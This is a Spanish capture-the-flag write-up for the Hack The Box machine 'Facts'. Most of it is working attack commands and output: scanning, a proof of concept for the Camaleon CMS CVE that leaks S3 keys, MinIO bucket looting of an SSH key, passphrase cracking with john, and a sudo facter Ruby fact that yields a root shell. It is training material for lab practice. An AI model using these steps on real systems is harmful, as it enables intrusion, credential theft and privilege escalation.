Facts WriteUp

Table of Contents

Facts WriteUp

Facts es una máquina de dificultad 🟩 Easy de la plataforma Hack The Box. Combina la explotación de un CMS web con una fuga de credenciales hacia un servidor de almacenamiento MinIO compatible con la API S3, del que extraemos una clave privada SSH protegida por contraseña. La escalada de privilegios se consigue abusando de un binario permitido en sudo.

🗺️ Cadena de Ataque

Nmap → Puerto 80 (CamaleonCMS 2.9.0) + Puerto 54321 (MinIO)
      │
      ▼
CVE-2025-2304 → Privilege Escalation + S3 Config Leak
      │
      ▼
Credenciales MinIO → Bucket "internal"
      │
      ▼
.ssh/id_ed25519 (clave privada cifrada)
      │
      ▼
ssh2john + john → passphrase: dragonballz → usuario: trivia
      │
      ▼
sudo /usr/bin/facter → custom fact (.rb) → /bin/bash como root 🏴

🔍 Reconocimiento

Escaneo de Puertos

Hacemos el reconocimiento en dos fases: descubrimiento rápido y luego detección de versiones sobre los puertos encontrados.

Añadimos facts.htb a /etc/hosts:

echo "10.129.21.92 facts.htb" | sudo tee -a /etc/hosts

Fase 1 - Descubrimiento rápido de puertos TCP:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv facts.htb

Fase 2 - Detección de versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv facts.htb

Los puertos relevantes encontrados:

PuertoServicioDetalle
22SSHOpenSSH 9.9p1 Ubuntu
80HTTPnginx 1.26.3 → redirige a facts.htb
54321HTTPGolang net/http → MinIO (API S3)

💡 Nota sobre TCP/54321: Nmap identifica el servidor como MinIO a través de los headers X-Amz-* en la respuesta. De momento lo dejamos apartado y empezamos por el puerto 80.

🌐 Puerto 80 - CamaleonCMS

Al entrar encontramos un blog donde el administrador publica datos curiosos. Hacemos fuzzing de directorios:

gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
admin   (Status: 302) [--> http://facts.htb/admin/login]
robots  (Status: 200)
search  (Status: 200)
...

En /admin/login nos permite crear una cuenta. Al entrar al panel vemos que usa Camaleon CMS v2.9.0.

⚠️ Probamos SQLi y XSS en el campo de búsqueda y en comentarios, ninguno es explotable. El panel de admin es el vector.

CVE-2025-2304 - Privilege Escalation + S3 Config Leak

Una búsqueda rápida nos lleva al CVE-2025-2304 , una vulnerabilidad de escalada de privilegios autenticada en Camaleon CMS 2.9.0 que además filtra las credenciales del almacenamiento S3 configurado.

Usamos el PoC público :

python exploit.py -u http://facts.htb -U username -P password -e
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIA0BFEDFE75637E79F
   s3 secret key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
   s3 endpoint: http://localhost:54321
[+]Reverting User Role

🎯 Credenciales S3 obtenidas. El endpoint apunta al servidor MinIO que vimos en el puerto 54321, confirmando que el CMS usa MinIO como backend de almacenamiento.

🪣 Puerto 54321 - MinIO (API S3)

¿Qué es MinIO?

🧠 Concepto: S3 (Simple Storage Service) es un sistema de almacenamiento de objetos con una API que la industria ha adoptado como estándar de facto (AWS, GCP, Azure). Un bucket es el contenedor raíz donde se guardan los objetos, la estructura es plana, no hay subdirectorios reales, la ruta forma parte del nombre (clave) del objeto. MinIO es una implementación open-source, auto-hospedable, totalmente compatible con la API S3.

Configuramos un perfil en la herramienta aws CLI con las credenciales obtenidas:

aws configure --profile facts
# AWS Access Key ID:     AKIA0BFEDFE75637E79F
# AWS Secret Access Key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
# Default region name:   us-east-1
# Default output format: json

Enumeración de Buckets

aws --endpoint-url http://facts.htb:54321 s3 ls --profile facts
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts

El bucket randomfacts solo contiene imágenes del blog. Nos centramos en internal:

aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --profile facts --recursive | grep -v ".bundle"
2026-01-08 19:45:13        220 .bash_logout
2026-01-08 19:45:13       3900 .bashrc
2026-01-08 20:01:43          0 .cache/motd.legal-displayed
2026-01-08 19:47:17         20 .lesshst
2026-01-08 19:47:17        807 .profile
2026-04-05 09:40:42         82 .ssh/authorized_keys
2026-04-05 09:40:42        464 .ssh/id_ed25519

⚠️ El bucket internal parece ser el directorio home de un usuario, contiene .bashrc, .profile y lo más interesante: una clave privada SSH.

Descarga de la Clave Privada

aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_facts --profile facts

🔑 Clave Privada SSH - Identificación del Usuario y Crackeo

La clave está cifrada con contraseña. Antes de intentar crackearla, verificamos que la clave privada corresponde a la pública de authorized_keys comparando sus fingerprints:

# Fingerprint de la clave privada (fallará con passphrase pero muestra el fingerprint)
ssh user@facts.htb -i id_facts -v 2>&1 | grep "SHA256"
# debug1: Will attempt key: id_facts ED25519 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY explicit

# Fingerprint de la clave pública en authorized_keys
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/authorized_keys ./authorized_keys --profile facts
ssh-keygen -l -f authorized_keys
# 256 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY no comment (ED25519)

✅ Los fingerprints coinciden, la clave privada funciona para el usuario dueño de ese authorized_keys.

Crackeando la Passphrase

Lo convertimos del formato ssh a john para que pueda crakearlo.

ssh2john id_facts > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
dragonballz      (id_facts)     
1g 0:00:01:41 DONE

Identificación del Usuario

Con la passphrase ya podemos extraer la clave pública, que incluye el comentario con el usuario:

chmod 600 id_facts
ssh-keygen -y -f id_facts # dragonballz
# ssh-ed25519 AAAAC3...ohxpLN trivia@facts.htb

🎯 Usuario identificado: trivia

💉 Acceso Inicial

ssh trivia@facts.htb -i id_facts # dragonballz

🚩 User Flag

cat /home/william/user.txt

🧗 Escalada de Privilegios

Lo primero al entrar, revisamos permisos sudo:

sudo -l
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facter es una herramienta de recolección de datos del sistema escrita en Ruby, usada típicamente por Puppet. Acepta un directorio de custom facts con el flag --custom-dir, archivos .rb que define cómo calcular un dato nuevo.

Abusamos de esto ejecutando un custom fact que en realidad lanza /bin/bash:

mkdir /tmp/exploit
echo "Facter.add(:shell) do setcode do system('/bin/bash') end end" > /tmp/exploit/shell.rb
sudo /usr/bin/facter --custom-dir=/tmp/exploit
root@facts:/tmp/exploit#

Shell como root obtenida abusando del custom fact de facter.

🏴 Root Flag

cat /root/root.txt

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1Reconocimientonmap, gobusterCamaleonCMS 2.9.0 + MinIO en :54321
2CVE-2025-2304exploit.pyCredenciales S3 de MinIO
3Enumeración S3aws CLIClave privada SSH en bucket internal
4Crackeo de passphrasessh2john, johnpassphrase: dragonballz → usuario: trivia
5Acceso inicialsshShell como trivia
6Sudo abuse (facter)Custom fact .rbShell como root 🏴

Un saludo, nos vemos en el próximo challenge.